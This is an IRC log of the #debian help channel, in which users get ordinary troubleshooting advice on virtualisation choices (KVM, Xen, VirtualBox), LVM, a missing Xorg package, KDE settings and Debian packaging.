| 20:42.41 | *** join/#debian sacredchao (~hagbard@gateway/tor-sasl/nike) |
| 20:43.58 | *** join/#debian aguitel (~aguitel@190.244.14.206) |
| 20:44.28 | *** join/#debian Pathin_ (~root@77-22-92-82-dynip.superkabel.de) |
| 20:44.51 | *** join/#debian phik (~phik@cpc6-lewi16-2-0-cust386.2-4.cable.virginmedia.com) |
| 20:45.45 | *** join/#debian oznt (~Oz@stgt-5d84a3e4.pool.mediaWays.net) |
| 20:46.25 | *** join/#debian doogaille (~doogaille@sgg35-2-88-122-22-44.fbx.proxad.net) |
| 20:47.12 | oznt | hi everyone, i just debootstraped a debian into a partition, and the font size is huge in tty. I have a debian on the same computer which boots without vga in the kernel line, and the font size looks great, what can be the different ? |
| 20:47.30 | oznt | sorry, i meant what can be the difference ? |
| 20:47.41 | *** join/#debian zyga (~zyga@89.127.177.74) |
| 20:47.41 | *** join/#debian zyga (~zyga@linaro/zyga) |
| 20:48.06 | *** join/#debian prince_jammys (~mischa@pool-71-249-50-235.nycmny.east.verizon.net) |
| 20:48.18 | *** join/#debian davro (~davro@cpc2-ches2-0-0-cust888.9-1.cable.virginmedia.com) |
| 20:50.00 | *** join/#debian ponyofdeath (~vladi@cpe-75-80-175-217.san.res.rr.com) |
| 20:50.50 | *** join/#debian saep (~saep@muedsl-82-207-242-144.citykom.de) |
| 20:50.57 | *** join/#debian tfcoding (~tfcoding@odnb-4dbce652.pool.mediaWays.net) |
| 20:55.47 | *** join/#debian doxin (~lieuwe@unaffiliated/lieuwe) |
| 20:56.15 | doxin | i'm looking for a gnome music player that allows me to group songs by location, any good pointers? |
| 20:57.37 | macrobat | what do you mean location? |
| 20:57.44 | *** join/#debian Pathin_ (~root@77-22-92-82-dynip.superkabel.de) |
| 20:57.51 | macrobat | place in the file system? |
| 20:58.25 | *** join/#debian Matic`Makovec (~biggi_mat@2001:1470:faca:1502:4d24:e2a5:e5df:f4e7) |
| 20:58.32 | *** part/#debian th0r (~steve@rrcs-98-101-210-6.midsouth.biz.rr.com) |
| 20:58.38 | doxin | macrobat: exactly |
| 20:58.46 | *** join/#debian TrueDD (~truedd@unaffiliated/truedd) |
| 20:58.50 | *** join/#debian th0r (~steve@rrcs-98-101-210-6.midsouth.biz.rr.com) |
| 20:58.55 | jmarsden | was thinking "songs for the beach, songs for the open road, songs for the mountains, ..." |
| 20:58.59 | *** join/#debian kdog (~kdog@c-24-20-158-219.hsd1.or.comcast.net) |
| 20:59.02 | doxin | macrobat: the id3 tags are fubar, but the locations are somewhat representative |
| 20:59.05 | doxin | jmarsden: :P |
| 21:00.38 | *** join/#debian saep (~saep@muedsl-82-207-242-144.citykom.de) |
| 21:00.40 | *** join/#debian ShapeShifter499 (~ShapeShif@c-98-208-96-188.hsd1.ca.comcast.net) |
| 21:00.50 | tomatto_ | is possible to add libc 2.8 to debian lenny? |
| 21:00.50 | macrobat | doesn't most music players have a file browser? |
| 21:01.00 | *** mode/#debian [+l 1117] by debhelper |
| 21:01.46 | *** join/#debian Eulenspiegel69 (~plmb2345@e181197121.adsl.alicedsl.de) |
| 21:01.49 | *** join/#debian Tectu (~quassel@221-112.195-178.cust.bluewin.ch) |
| 21:01.51 | wols_ | tomatto_: not really. what do you want to do? |
| 21:02.07 | doxin | macrobat: yes, but they don't allow to play by location, right now i can click a certain album and it'll play that, i want the same but for file location |
| 21:02.09 | Eulenspiegel69 | does the standard kernel in squeeze support Xen? |
| 21:04.05 | *** join/#debian d0x (~christian@mnhm-5f75ec1c.pool.mediaWays.net) |
| 21:04.05 | Wyzard | Eulenspiegel69: as domU, yes |
| 21:04.13 | Wyzard | and there's a separate -xen kernel package that supports dom0 |
| 21:04.40 | Eulenspiegel69 | mom, have I read correctly, don't all kernels since 2.6.37 by default support Xen? |
| 21:05.00 | d0x | Hi, i like to save some files and share it with others on my machine. Therefore i search a small webapp where its possible to drop some files. Did someone know smth. like that? |
| 21:05.09 | Wyzard | Eulenspiegel69: I think dom0 support was merged into the mainline kernel much earlier than that |
| 21:05.17 | Wyzard | err, domU support, I mean |
| 21:05.18 | macrobat | idk, i play songs from their location directly or add them to the playlist. i use audacious clementine mocp mpd + ncmpcpp and maybe exaile. This "click on an album"-concept is alien to me :D |
| 21:05.34 | Wyzard | dom0 is merged in kernel 3.0, but prior kernels need a patch |
| 21:05.35 | wols_ | d0x: why a webapp? |
| 21:05.45 | doxin | macrobat: :) |
| 21:05.46 | d0x | because we have some windows users |
| 21:05.48 | Eulenspiegel69 | Wyzard: thanks |
| 21:05.48 | th0r | d0x: have you looked at dropbox? |
| 21:05.59 | d0x | th0r: jap, smth. like this |
| 21:06.20 | Wyzard | but Debian provides that dom0 patched kernel in a separate package |
| 21:06.52 | *** join/#debian karme (~user@stgt-5f70e787.pool.mediaWays.net) |
| 21:07.13 | th0r | d0x: https://www.dropbox.com |
| 21:07.31 | *** join/#debian Pathin_ (~root@77-22-92-82-dynip.superkabel.de) |
| 21:07.38 | *** join/#debian somismodo (~aguitel@190.244.14.206) |
| 21:07.41 | *** part/#debian doxin (~lieuwe@unaffiliated/lieuwe) |
| 21:07.56 | *** join/#debian syn4pse (~syn@rs17058.rapidspeeds.com) |
| 21:08.16 | somismodo | how enable autologin in kde ? |
| 21:08.42 | *** part/#debian MarGarina (~orenhe@46-117-236-29.bb.netvision.net.il) |
| 21:08.48 | somismodo | i cannot modify it in login manager |
| 21:09.35 | craigevil | somismodo, open systemsettings as root |
| 21:10.30 | *** join/#debian rpgsimmaster (~rpgsimmas@bighostonline.com) |
| 21:10.40 | *** join/#debian Petrov__ (~petrov@91.181.21.253) |
| 21:10.42 | KTL | how? is there still something like kdesu? |
| 21:10.59 | *** join/#debian abchirk (~abchirk@g225122007.adsl.alicedsl.de) |
| 21:11.01 | KTL | kdesu_stub ... |
| 21:11.20 | tomatto_ | wols_: i have program which need it |
| 21:11.30 | *** part/#debian th0r (~steve@rrcs-98-101-210-6.midsouth.biz.rr.com) |
| 21:11.35 | somismodo | craigevil, why is not this option in login manager ? |
| 21:11.39 | *** join/#debian rynx (~rynx@142.167.207.2) |
| 21:11.45 | d0x | th0r: i can't host dropbox on my own machine |
| 21:11.48 | craigevil | because you need to be root |
| 21:11.56 | *** join/#debian frantk (~frantk@pdpc/supporter/student/frantk) |
| 21:12.00 | Eulenspiegel69 | Wyzard: Do I get it straight? KVM is only the hypervisor but I still need some interface program like qemu to control it, right? |
| 21:12.14 | craigevil | somismodo, you can install and use sux to open systemsettings as root |
| 21:12.34 | somismodo | craigevil, how to download more themes ? |
| 21:12.43 | somismodo | craigevil, ok |
| 21:13.10 | homie | kvm gives kernel level access to user level programs ? |
| 21:13.20 | Wyzard | Eulenspiegel69: Yes, KVM just provides the ability to run a virtual machine as a process, and qemu communicates with that process through KVM to provide the VM's emulated hardware |
| 21:13.55 | homie | and if one of it happens to be an os emulating ones, then that's it perfect fit! ? |
| 21:14.15 | *** join/#debian skrewler (~skrewler@76-220-40-103.lightspeed.sntcca.sbcglobal.net) |
| 21:14.16 | Wyzard | Eulenspiegel69: Take a look at the qemu-kvm package |
| 21:14.36 | homie | well i don't have the proper cpu for kvm |
| 21:14.43 | *** join/#debian mark76 (~mark@cpc27-nfds13-2-0-cust178.8-2.cable.virginmedia.com) |
| 21:14.56 | Eulenspiegel69 | Wyzard: My mom needs to run Windows in a VM for some stuff. How would you implement it for someone who doesn't use a command line? Xen or KVM? |
| 21:15.15 | somismodo | craigevil, how to use sux |
| 21:15.34 | homie | well kvm comes with the kernel.... |
| 21:15.34 | Wyzard | Eulenspiegel69: virt-manager provides a GUI frontend to KVM and/or Xen |
| 21:15.40 | *** join/#debian dibber (~dibber@75-166-237-243.hlrn.qwest.net) |
| 21:16.04 | Wyzard | Eulenspiegel69: but it's a fairly minimal and technical GUI; virtualbox or vmware might be a better choice |
| 21:16.08 | homie | not much todo other than enable it |
| 21:16.12 | homie | but xen is ..... |
| 21:16.16 | homie | more work i would say |
| 21:16.37 | *** join/#debian dibber_ (~dibber@75-166-237-243.hlrn.qwest.net) |
| 21:16.52 | craigevil | somismodo, type sux then enter then root password then enter then the app you want to open in this case you want to open systemsettings |
| 21:17.04 | *** join/#debian Pathin_ (~root@77-22-92-82-dynip.superkabel.de) |
| 21:17.05 | *** join/#debian edju (~edju@75-39-106-129.lightspeed.dtrtmi.sbcglobal.net) |
| 21:17.32 | *** join/#debian dibber (~dibber@75-166-237-243.hlrn.qwest.net) |
| 21:18.06 | Eulenspiegel69 | Wyzard: I do not want to use vb because it is owned by Oracle now and I do not want to use vmware because it is proprietary. Does not matter when the GUI is minimal; she just needs to start/stop (and maybe pause) the VMs. She wouldn't use advanced features anyway. I am still wondering under what aspects I should choose either Xen or KVM... |
| 21:18.35 | somismodo | craigevil, ok |
| 21:18.43 | homie | i would say if you need responsiveness then go for kvm |
| 21:18.48 | Wyzard | Eulenspiegel69: KVM seems to be preferred these days, and unlike Xen it actually works out-of-the-box with virt-manager |
| 21:19.21 | homie | if you say you have already a super fast puter there over and it won't matter then you can choose xen too |
| 21:19.31 | Wyzard | Eulenspiegel69: The version of VirtualBox in Debian is GPL, btw; it doesn't matter much that Oracle "owns" it |
| 21:19.51 | *** join/#debian arjovr (~seba@host82.186-124-199.telecom.net.ar) |
| 21:20.16 | edju | Just ran update, which I do about once a week or so. Got 105 candidates! I subscribe to debian-security-announce and I don't recall seeing 105 announcements. Running squeeze. Anyone get so many candidates? |
| 21:20.36 | Wyzard | Eulenspiegel69: And it's silly to reject VMware on the basis that it's proprietary when you're using the VM to run Windows :-) |
| 21:20.39 | Eulenspiegel69 | Wyzard: I know that it's the OSE edition in the repo but since malicuous software is often found even in GPL'd stuff.... I don't trust those guys |
| 21:20.57 | Wyzard | edju: It's not all security stuff; 6.0.2 was released today |
| 21:21.11 | *** join/#debian movl (~movl@89.47.83.116) |
| 21:21.18 | *** part/#debian SushiDude (~SushiDude@unaffiliated/sushidude) |
| 21:21.24 | Wyzard | Eulenspiegel69: You're suggesting Oracle puts malware in VirtualBox? |
| 21:21.40 | Eulenspiegel69 | I fear that it could be |
| 21:21.42 | homie | no the security stuff |
| 21:22.03 | homie | he accuses them openly of being spies |
| 21:22.05 | Eulenspiegel69 | Wyzard: many people point this out :) but the difference is that that Windows is only running inside the VM and not tainting the host system |
| 21:22.06 | homie | lol |
| 21:22.12 | Wyzard | I think that's a rather high level of paranoia |
| 21:22.27 | Wyzard | Oracle would stand to lose a lot more than you if they were found to have put malware in a product, even a GPL one |
| 21:23.00 | edju | Wyzard, Ah, I see. Thanks. |
| 21:23.06 | drwrr | Eulenspiegel69, kvm and xen are more geared towards running servers, for what your mom needs you're better off with vbox |
| 21:23.18 | *** join/#debian Worf (~worf@chello080109200187.3.sc-graz.chello.at) |
| 21:23.32 | homie | or plain qemu |
| 21:23.34 | homie | without kvm |
| 21:23.48 | Eulenspiegel69 | Wyzard: many people tell me that I had paranoia :) maybe Oracle risks something... could be.... but if they were doing it; no one knows how much governments or the like would be paying them to risk it |
| 21:24.02 | Wyzard | Eulenspiegel69: In descending order of convenience and user-friendliness, my suggestions would be vmware, virtualbox, kvm with virt-manager, and xen |
| 21:24.05 | homie | yerrhhrhhh |
| 21:24.23 | drwrr | Eulenspiegel69, oracle coders also contribute to xorg fyi |
| 21:24.27 | Wyzard | Eulenspiegel69: Oracle contributes to Linux too, you know |
| 21:24.43 | Eulenspiegel69 | Wyzard: it's not only a matter of convenience but also effectiveness :) it's a 300 euro laptop with 4gb RAM |
| 21:24.49 | homie | "i have paranoia, pay my foo's!" |
| 21:24.55 | homie | lol |
| 21:25.03 | *** join/#debian queso (~queso@75.21.75.97) |
| 21:25.19 | Eulenspiegel69 | drwrr: in this case I can nothing do about it because I need a display manager. In the case of VMs I can just choose something else |
| 21:25.26 | *** join/#debian dArK_IcE (~lawl@a79-168-158-235.cpe.netcabo.pt) |
| 21:25.48 | Eulenspiegel69 | what means "foo's"? I know it only as placeholder |
| 21:25.50 | queso | With lvcreate, is there a way to say "use all the remaining available space in the vol group" instead of specifying with -L? |
| 21:26.29 | homie | (foo's|bat's|penguins)! |
| 21:26.38 | *** join/#debian Pathin_ (~root@77-22-92-82-dynip.superkabel.de) |
| 21:26.47 | queso | Or is there a way to see exactly what amount specified with -L will use all remaining space in a volgroup? |
| 21:26.50 | Wyzard | Eulenspiegel69: Well, you could run Windows instead of Linux, since I don't think Oracle contributes any code to that :-P |
| 21:27.38 | drwrr | or *gasp* linux in a vbox on windows |
| 21:28.04 | macrobat | queso: i think there is a percentage option |
| 21:28.25 | Eulenspiegel69 | Wyzard: Yes, Microsoft is WAY better :) These guys are so incredibly trustworthy... unable to put into works |
| 21:28.29 | Eulenspiegel69 | *words |
| 21:28.42 | queso | macrobat: aah, yes, thank you |
| 21:29.06 | Eulenspiegel69 | btw. my mom is already used to some GNU/Linux programs. at the moment she is using it without any Windows |
| 21:29.40 | Eulenspiegel69 | she even already used whois and stuff; she would be missing it :) |
| 21:29.54 | macrobat | queso: 100%FREE or something |
| 21:30.10 | Wyzard | Well, KVM with virt-manager would be a reasonable choice |
| 21:30.24 | queso | macrobat: sweet, new to lvm, trying to set one up :) |
| 21:30.25 | Wyzard | You'll want to install the virtio drivers in Windows for better performance |
| 21:31.00 | *** mode/#debian [+l 1109] by debhelper |
| 21:31.00 | Eulenspiegel69 | Wyzard: I think I will do it. Moreover, because I have already used QEMU with qemu-img and stuff for some time. These tools seem to me pretty straightforward |
| 21:31.01 | Wyzard | Unfortunately it's not quite as straightforward as running the guest tools installers that VMware and VBox provide |
| 21:31.34 | Eulenspiegel69 | isn't the kernel tainted when installing vmware? |
| 21:31.38 | *** join/#debian Archtivity (~Archtivit@bac69-3-82-226-54-181.fbx.proxad.net) |
| 21:31.52 | Wyzard | hmm, I'm not sure |
| 21:32.07 | *** join/#debian HazardX (~HazardX3@pool-108-7-70-183.bstnma.fios.verizon.net) |
| 21:32.08 | Wyzard | Their kernel modules are entirely open-source afaik, not shims for binary blobs like nvidia |
| 21:32.33 | abrotman | i thought the code was 'free', not Free |
| 21:32.45 | Eulenspiegel69 | I do not want to have it tainted. Some people don't even give support when it is |
| 21:33.03 | abrotman | Eulenspiegel69: IIRC, the kernel will tell you when it's tainted ? |
| 21:33.25 | Eulenspiegel69 | abrotman: yes, but I would first have to test it and I am too lazy |
| 21:33.52 | abrotman | google? |
| 21:33.58 | Wyzard | Eulenspiegel69: FWIW, I've been using the nvidia driver for years and never encountered a situation where I needed help with something kernel-related and couldn't get help because it was tainted |
| 21:34.28 | Wyzard | If you did, you could just disable the proprietary stuff temporarily |
| 21:34.30 | Eulenspiegel69 | Wyzard: what are virtio drivers? The counterpart to virtualbox-guest-additions? (I admit, I have once used vbox for some time...) |
| 21:35.16 | homie | passthru stuff |
| 21:35.17 | Wyzard | They're analogous to the drivers that VMware and VBox install -- drivers that know how to talk directly to the hypervisor, instead of talking to emulated hardware |
| 21:35.17 | Eulenspiegel69 | Wyzard: The point is sometimes my mother needs support and I am not available and she can't do a thing but cd, mv, cp, whois and stuff on the command line |
| 21:35.25 | *** join/#debian saep (~saep@muedsl-82-207-242-144.citykom.de) |
| 21:35.55 | Eulenspiegel69 | Wyzard: you mean in order to seamlessly use the mouse and keyboard and stuff? |
| 21:36.05 | *** join/#debian blackbird` (~blackbird@2001:470:28:2d8:58e4:e793:a6f5:d880) |
| 21:36.15 | *** join/#debian ddan1 (~iacku@host230-237-dynamic.211-62-r.retail.telecomitalia.it) |
| 21:36.25 | *** join/#debian Pathin_ (~root@77-22-92-82-dynip.superkabel.de) |
| 21:36.58 | Wyzard | abrotman: btw, I took a look at the vmware modules source code, and the handful of files I checked all had GPL licenses |
| 21:37.26 | *** join/#debian SushiDude (~SushiDude@unaffiliated/sushidude) |
| 21:37.32 | *** join/#debian NeoBlaster (~N3oBl@st3r.net) |
| 21:37.42 | abrotman | ah, i thought they weren't gpl .. that's nice to know |
| 21:37.44 | Wyzard | Eulenspiegel69: No, for disk and network I/O |
| 21:37.48 | abrotman | wonder why they aren't in the kernel then ... |
| 21:38.26 | Wyzard | probably not much interest in maintaining them, since they're useless without the accompanying closed-source app |
| 21:38.38 | *** join/#debian claviusmond (~Clarice@148.Red-83-36-240.dynamicIP.rima-tde.net) |
| 21:38.52 | *** join/#debian claviusmond (~Clarice@148.Red-83-36-240.dynamicIP.rima-tde.net) |
| 21:39.18 | *** join/#debian iateadonut (~dan@cpe-72-184-206-2.tampabay.res.rr.com) |
| 21:39.30 | Eulenspiegel69 | Wyzard: what do I need it for? To easily let the VMs communicate to each other or what? |
| 21:39.32 | Wyzard | Eulenspiegel69: KVM's emulated video card maps to a VNC server, so mouse and keyboard are just a VNC viewer -- it's not like VMware or VBox where there's a special video device |
| 21:39.48 | Wyzard | Just for better performance, that's all |
| 21:40.15 | *** join/#debian jcdury (~jcdury@232.85-86-244.dynamic.clientes.euskaltel.es) |
| 21:40.19 | Wyzard | Normally qemu will emulate a Realtek NIC or something like that |
| 21:40.22 | Eulenspiegel69 | Wyzard: sounds interesting; so it should be easier to use that stuff with a VNC client over a network than the host system |
| 21:40.42 | homie | no, the newer ones use e1000 |
| 21:40.44 | Eulenspiegel69 | Wyzard: that's also what vbox emulates by default |
| 21:41.19 | Wyzard | but then you install the vbox tools and that emulated hardware is swapped out for a different device with a vbox-specific driver |
| 21:41.42 | Wyzard | that doesn't incur the overhead of emulating the hardware interface of a Realtek card -- DMA buffers, interrupts, that sort of thing |
| 21:42.46 | drwrr | Eulenspiegel69, there's even 3d video acceleration for windows guests in vbox fyi. fullscreen video ain't a problem either. |
| 21:42.56 | drwrr | *video playback |
| 21:43.07 | *** join/#debian Agiofws (~Agiofws@athedsl-120172.home.otenet.gr) |
| 21:43.14 | *** join/#debian lanze_so4 (~hed@clnet-p02-144.ikbnet.co.at) |
| 21:43.19 | Eulenspiegel69 | dwrr: 3d... pff... for what? for playing video games? |
| 21:43.47 | Eulenspiegel69 | Wyzard: KVM sounds like the state of the art, even though I heard Xen were catching up |
| 21:44.07 | drwrr | right, moms are usually more the solitaire type. but just saying it's pretty snappy, compared to what you're about to do |
| 21:44.48 | Eulenspiegel69 | drwrr: she just wants to use some crappy Windows tools that are not supported by wine, that's all :) she doesn't play a thing |
| 21:44.58 | *** part/#debian queso (~queso@75.21.75.97) |
| 21:46.01 | homie | then use virtualbox |
| 21:46.02 | *** join/#debian Pathin_ (~root@77-22-92-82-dynip.superkabel.de) |
| 21:46.04 | drwrr | Eulenspiegel69, i should point you to seamless mode/fusion (was that the vmware marketing buzzword) then |
| 21:46.33 | Eulenspiegel69 | drwrr: you mean the feature that lets you guest windows look like they were windows on the host? |
| 21:46.43 | *** join/#debian dvs (~me@cwv.teksavvy.com) |
| 21:47.24 | drwrr | Eulenspiegel69, basically it juse removes the desktop+desktop border |
| 21:47.33 | drwrr | s/juse/just |
| 21:47.56 | *** join/#debian stranger635 (~user@178.124.11.48) |
| 21:48.01 | *** join/#debian m4lyx (~maly@stefanscy.net) |
| 21:48.25 | Eulenspiegel69 | okay, is it possible to have a guest's systray icon appear on the host's systray? |
| 21:49.07 | *** join/#debian sinisterstuf (~sion@PPK-BR02-41-182-125-26.ipb.na) |
| 21:49.08 | drwrr | i don't think it is, unless vmware has something along those lines. |
| 21:49.21 | Wyzard | VMware doesn't |
| 21:49.43 | Wyzard | It's possible in principle, but I don't know of anything that implements it |
| 21:50.19 | *** join/#debian Vasistha (~david@unaffiliated/vasistha) |
| 21:50.25 | Eulenspiegel69 | Wyzard: neither Xen, nor KVM? |
| 21:50.29 | drwrr | i've toyed around with autohotkey scripts to send commands to a vbox guest, works surprisingly well |
| 21:50.43 | Wyzard | Xen and KVM have nothing to do with desktop stuff |
| 21:50.55 | Eulenspiegel69 | ah , right |
| 21:51.10 | Vasistha | I am seeing a bunch of warnings about /var/lib/dpkg/status having an invalid character. I deleted the repo that was providing the package watned about, but the warnings are still appearing. Can I delete /var/lib/dpkg/status and available and will they be regenerated and stop spewing errors? |
| 21:51.12 | Wyzard | It's the kind of thing that VMware's Unity mode *could* do, but it doesn't |
| 21:51.29 | Wyzard | (VBox may have a similar feature, but I don't use VBox so I don't know) |
| 21:51.44 | sinisterstuf | Hi, I've just installed Debian 6 with the Net Install CD, during installation I selected the option to install a desktop environment. The installation finished successfully but when I start the computer I'm given a command prompt (what I'm chatting from now) instead of a graphical login. I can see that GNOME components are installed and that gdm3 is started before I'm given the prompt. What should I do to fix this? |
| 21:51.56 | Eulenspiegel69 | Wyzard: You know... vmware interests me as much as a bursting sack of rice in China |
| 21:52.12 | abrotman | at least you can eat the rice |
| 21:52.14 | movl | Vasistha: rename them one by one to see what's causing the problem |
| 21:52.20 | sinisterstuf | Also on tty7 there is nothing, just a blinking _ |
| 21:52.35 | Vasistha | movl: what should I be renaming exactly? "status" and "available" ? |
| 21:52.38 | Eulenspiegel69 | afk for 30min |
| 21:52.40 | movl | yeah |
| 21:53.20 | Wyzard | Eulenspiegel69: I can understand that you don't like it because it's proprietary, but of the alternatives, it's the most mature and the most pleasant to use IMO |
| 21:53.23 | movl | sinisterstuf: nothing in the logs? |
| 21:54.12 | *** join/#debian froggyman (~seth@50.105.144.181) |
| 21:54.12 | *** join/#debian froggyman (~seth@unaffiliated/froggyman) |
| 21:55.08 | sinisterstuf | movl: thanks I'll check them now (I'm coming from Ubuntu so excuse me if I'm a n00b) |
| 21:55.40 | Eulenspiegel69 | Wyzard: That's the problem with proprietary software... it is designed for people to find it pleasant and stick on it and make them dependent |
| 21:55.55 | *** join/#debian Pathin_ (~root@77-22-92-82-dynip.superkabel.de) |
| 21:56.26 | Wyzard | Well, it's partly a nice UI, and partly just that it's been around the longest |
| 21:56.36 | drwrr | Eulenspiegel69, it's designed to just do what you want, without getting involved too much, that's what you pay for |
| 21:56.44 | Wyzard | Free hypervisors have caught up significantly though |
| 21:57.14 | *** join/#debian homie (~levgue@xdsl-78-35-168-252.netcologne.de) |
| 21:57.26 | Wyzard | Eulenspiegel69: btw, I think that's a strawman argument: proprietary software is bad because it's designed for people to like it, as if free software is designed for people to not like it? |
| 21:57.50 | *** join/#debian dumm (~dumm@79.173.80.61) |
| 21:58.06 | dumm | looking for DWM config-file in Debian. does anyone know, where is it? |
| 21:58.44 | sinisterstuf | movl: I checked the logs for gdm and it "Failed to execute child process" because it's trying to do /usr/bin/Xorg but I have /usr/bin/X11 ...is there a package I should reconfigure or something? |
| 21:58.45 | Wyzard | There are valid reasons to dislike non-free software, but accusing it of insidiously trying to meet users' needs is not one of them :-) |
| 21:59.14 | Wyzard | sinisterstuf: /usr/bin/X11 is a directory, but there should also be a /user/bin/Xorg program |
| 21:59.25 | Eulenspiegel69 | the point is... we are in a Debian channel is foss and heavily relies on dfsg. I am just trying to avoid software that doesn't as much as possible |
| 21:59.35 | Wyzard | It's part of the xserver-xorg-core package |
| 22:00.19 | *** join/#debian edgy (~quassel@188.248.113.44) |
| 22:00.25 | edgy | Hi, when I create .deb file, I guess I put my name as the maintainer, but where can I put the author of the prog itself? |
| 22:00.37 | Eulenspiegel69 | Wyzard: unfortunately, a bit it is... free software is, for most people, not as easy to use as proprietary shit like Microsoft. Or, look Apple! It's perfect if one can't read and is confused of two buttons on a mouse |
| 22:00.49 | *** join/#debian freebird_ (~freebird@189.62.55.25) |
| 22:00.57 | sinisterstuf | Wyzard: I don't have a /usr/bin/Xorg |
| 22:01.00 | *** join/#debian Ricardo__ (~rick@187.107.20.138) |
| 22:01.07 | Wyzard | sinisterstuf: Is the xserver-xorg-core package installed? |
| 22:01.10 | *** join/#debian claviusmond (~Clarice@148.Red-83-36-240.dynamicIP.rima-tde.net) |
| 22:01.20 | *** join/#debian craigevil (~craig@97.102.45.194) |
| 22:01.58 | sinisterstuf | Wyzard: apparently not, I'll do that now |
| 22:01.59 | *** join/#debian Kaede (~Kaede@unaffiliated/kaede) |
| 22:02.07 | *** join/#debian Agiofws (~Agiofws@athedsl-120172.home.otenet.gr) |
| 22:02.43 | *** join/#debian mark76 (~mark@cpc27-nfds13-2-0-cust178.8-2.cable.virginmedia.com) |
| 22:02.47 | Eulenspiegel69 | edgy: maybe ask in #debian-mentors |
| 22:02.49 | Wyzard | Eulenspiegel69: but being user-friendly is a desirable trait even for free software that falls short of the goal -- not an evil trait of proprietary stuff only |
| 22:03.00 | *** join/#debian ring1 (~ring0@unaffiliated/ring0) |
| 22:03.11 | edgy | Eulenspiegel69: thanks for the hint |
| 22:03.21 | Wyzard | sinisterstuf: It should be installed already if you chose the desktop task, though |
| 22:03.26 | *** join/#debian bst (~bst@net64-0-245-109.mbb.telenor.rs) |
| 22:03.29 | Wyzard | Something may have gone wrong during your install |
| 22:03.36 | edgy | Eulenspiegel69: ChanServ has kicked edgy from #debian-mentors (Invite only channel) |
| 22:03.41 | *** join/#debian debsan (~debsan@190.245.74.16) |
| 22:03.49 | Eulenspiegel69 | edgy: oh, that's new :) |
| 22:03.59 | *** part/#debian dumm (~dumm@79.173.80.61) |
| 22:04.00 | *** join/#debian ompaul (~ompaul@unaffiliated/ompaul) |
| 22:04.15 | *** join/#debian crypticsquared (~crypticsq@unaffiliated/crypticsquared) |
| 22:04.35 | Eulenspiegel69 | edgy: use #debian-mentors on irc.oftc.net |
| 22:05.52 | abrotman | edgy: IIRC, the copyright file |
| 22:05.54 | sinisterstuf | Wyzard: I guess so. I installed Debian once before and everything worked fine... |
| 22:06.07 | *** join/#debian Pathin_ (~root@77-22-92-82-dynip.superkabel.de) |
| 22:06.28 | edgy | abrotman: thanks |
| 22:06.36 | lapsusbrutus | http://pastebin.com/yN9sffeg When I invoke-rc.d this init script it is not being daemonized, where should I put the "&" :) |
| 22:06.39 | edgy | Eulenspiegel69: thanks for this too |
| 22:06.45 | abrotman | edgy: should be in the nmg |
| 22:06.58 | edgy | abrotman: nmg means what? |
| 22:07.08 | abrotman | !nmg |
| 22:07.08 | dpkg | The New Maintainer's Guide (http://www.debian.org/doc/maint-guide/), Developer's Reference and Policy document how packages should be made and how they should interact with each other. Ask me about <package basics>, <mentors>, <policy>, <best practices> or see http://www.debian.org/devel/ , http://wiki.debian.org/Courses2005/BuildingWithoutHelper |
| 22:07.29 | themill | dpkg: tell Pathin_ about root |
| 22:08.11 | edgy | abrotman: thanks a lot. do you have an idea whether its a bad idea to put the arch as all instead of amd64? |
| 22:08.26 | abrotman | edgy: depends what it is ... |
| 22:08.51 | sinisterstuf | Apt is telling me that a huge ammount of packages (incl. OpenOffce, GNOME etc) were automatically installed and can be removed by autoremove, that's not right is it? Those packages are *supposed* to be installed. |
| 22:08.52 | Eulenspiegel69 | Wyzard: but the difference between free and non-free software, when it comes to convenience, is, that corporations who create non-free stuff admittedly try to convenience the user but make them dependent by making them achieve their goals via ways one can only by using THEIR product. For example, CUA, this IBM standard, has Microsoft used when working together with IBM. Since they don't they are going their own ways |
| 22:09.12 | edgy | abrotman: I tried both and it works for my package but i don't know the distinction |
| 22:09.15 | themill | dpkg: tell sinisterstuf about unmarkauto |
| 22:09.25 | Eulenspiegel69 | sinisterstuf: remove all that openoffice* crap and install libreoffice |
| 22:09.38 | themill | edgy: this is covered both in the new maintainer's guide and in policy. /msg dpkg policy |
| 22:10.06 | *** join/#debian alpharesearch (~markus@24-158-188-124.dhcp.jcsn.tn.charter.com) |
| 22:10.11 | *** join/#debian upcdownc (~upcdownc@vulture-nat-37.telecom.by) |
| 22:10.14 | Wyzard | sinisterstuf: sounds like some packages that were supposed to be installed didn't get installed -- e.g. whatever was supposed to depend on those so apt wouldn't want to autoremove them |
| 22:10.28 | Wyzard | sinisterstuf: Did you maybe run out of disk space or encounter a disk I/O error while installing? |
| 22:11.12 | edgy | abrotman, themill, Eulenspiegel69: thanks all, I need to read that nmg carefully |
| 22:11.36 | *** join/#debian cryptics_ (~crypticsq@unaffiliated/crypticsquared) |
| 22:11.54 | Eulenspiegel69 | edgy: btw, after you have read it, #debian-mentors on irc.debian.org is not invite-only or the like |
| 22:12.10 | Eulenspiegel69 | (if you have further questions) |
| 22:14.11 | *** join/#debian aaronb (~aaronb@173-28-215-209.client.mchsi.com) |
| 22:14.15 | *** part/#debian aaronb (~aaronb@173-28-215-209.client.mchsi.com) |
| 22:14.16 | sinisterstuf | Wyzard: I didn't get any errors during install. The package downloading took about 12 hours because of my slow connection but it still said it completed successfully. |
| 22:14.43 | sinisterstuf | Eulenspiegel69: is libreoffice in the Debian repositories? (pardon my ignorance) |
| 22:15.15 | ZykoticK9 | sinisterstuf, LO is in backports for squeeze now - it's been in testing/unstable for a while |
| 22:15.34 | *** join/#debian babilen (~babilen@unaffiliated/babilen) |
| 22:15.47 | Vasistha | okay. so, since kde4 sucks....... I'm trying xfce. What's the recommended dm? xdm, gdm or gdm3? |
| 22:16.05 | *** join/#debian Pathin_ (~root@77-22-92-82-dynip.superkabel.de) |
| 22:16.32 | stranger635 | slim is nice |
| 22:16.56 | sinisterstuf | ZykoticK9: I'll check it out. I guess there's no reason to avoid a full office suite. |
| 22:16.56 | sinisterstuf | Vasistha: I recommend SLiM with XFCE |
| 22:17.05 | Vasistha | thanks stranger635, sinisterstuf |
| 22:17.41 | *** join/#debian timahvo1 (~rogue@41.223.57.78) |
| 22:18.29 | Wyzard | doesn't see much point in switching from openoffice to libreoffice on a squeeze system when they're basically the same |
| 22:18.47 | Eulenspiegel69 | sinisterstuf: I received this e-mail these days (about Debian - libreoffice): http://www.rifers.org/paste/show/1384 |
| 22:19.51 | Eulenspiegel69 | Vasistha: Do you want a full featured Desktop environment or just a window manager? |
| 22:20.01 | *** join/#debian omeddragon (~omeddrago@pool-71-178-234-18.washdc.fios.verizon.net) |
